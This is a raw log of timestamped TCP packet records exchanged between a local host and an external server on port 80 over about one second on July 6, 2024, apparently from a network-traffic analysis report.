Jul 6, 2024 14:10:10.615813971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.615823030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.615856886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616008997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616046906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616055012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616064072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616091013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616091967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616113901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616123915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616147995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616218090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616235971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616255999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616269112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616317987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616345882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616353989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616377115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616518021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616525888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616554976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616564989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616590977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616614103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616627932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616643906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616693974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616702080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616731882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616791010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616828918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.616835117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.616869926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617034912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617075920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617074013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617084980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617111921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617196083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617204905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617235899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617357969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617376089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617396116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617422104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617432117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617449045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617468119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617481947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617628098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617667913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617748022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617755890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617764950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617786884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617809057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617811918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617846012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.617855072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.617887974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618025064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618033886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618067026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618380070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618417978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618426085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618436098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618458986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618469954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618530035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618537903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618572950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618616104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618634939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618652105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618662119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618788004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618805885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618827105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618838072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618887901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618923903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.618954897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618963957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.618987083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619000912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619119883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619158983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619190931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619199991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619204044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619234085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619467974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619477034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619486094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619494915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619508982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619537115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619538069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619546890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619574070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619611025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619646072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619671106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619707108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619806051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619842052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.619889021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.619925022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620045900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620084047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620086908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620095968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620121002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620131016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620208979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620243073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620258093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620285034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620306015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620341063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620362043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620371103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620393038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620402098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620563984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620572090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620600939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620623112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620677948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620716095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620750904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620759010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620785952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620791912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.620799065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620826006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.620970964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.621005058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.621018887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.621051073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.809621096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809730053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809750080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809762001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809766054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.809812069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.809812069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.809839964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809850931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809861898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.809881926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.809904099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810489893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810570002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810580969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810607910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810632944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810659885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810687065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810738087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810749054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810758114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810781002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810797930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810807943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810830116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810897112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810934067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.810956001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810966969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.810993910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811006069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811096907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811136007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811172962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811208010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811368942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811378002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811388016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811408997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811415911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811425924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811428070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811429977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811456919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811476946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811638117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811680079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811681032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811691046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.811716080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.811727047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812108040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812155962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812161922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812177896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812200069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812216043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812283993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812300920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812313080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812321901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812330961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812352896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812354088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812362909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812390089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812403917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812465906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812506914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.812541008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812553883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.812582016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813083887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813118935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813127995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813129902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813153028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813164949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813170910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813196898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813211918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813225985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813235044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813245058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813250065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813268900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813293934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813318968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813329935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813339949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813358068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813374996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813395023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813405037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813426971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813448906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813535929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813560009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813582897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813596010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813635111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813672066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813688040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813729048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813802958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813826084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813834906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813843966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813854933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813868999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.813879013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.813904047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814027071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814069986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814105034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814142942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814181089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814191103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814215899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814218044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814241886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814248085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814249039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814280033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814449072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814476013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814490080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814496994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814500093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814508915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814532995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814642906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814682961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814733982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814743042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814753056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:10.814769983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:10.814807892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003524065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003554106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003576994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003596067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003606081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003617048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003628016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003674030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003675938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003714085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003767014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003804922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003828049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003866911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003925085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003967047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003967047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.003981113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.003990889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004004002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004020929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004245996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004293919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004306078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004316092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004326105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004342079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004360914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004502058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004554033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004564047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004575014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004591942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004604101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004606009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004642963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004857063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004905939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004905939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004916906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.004940987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.004954100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.005069971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.005095959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.005106926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.005115032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.005127907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.005141020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.005331039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.005378008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.005386114 CEST	80	49732	211.108.60.155	192.168.2.4
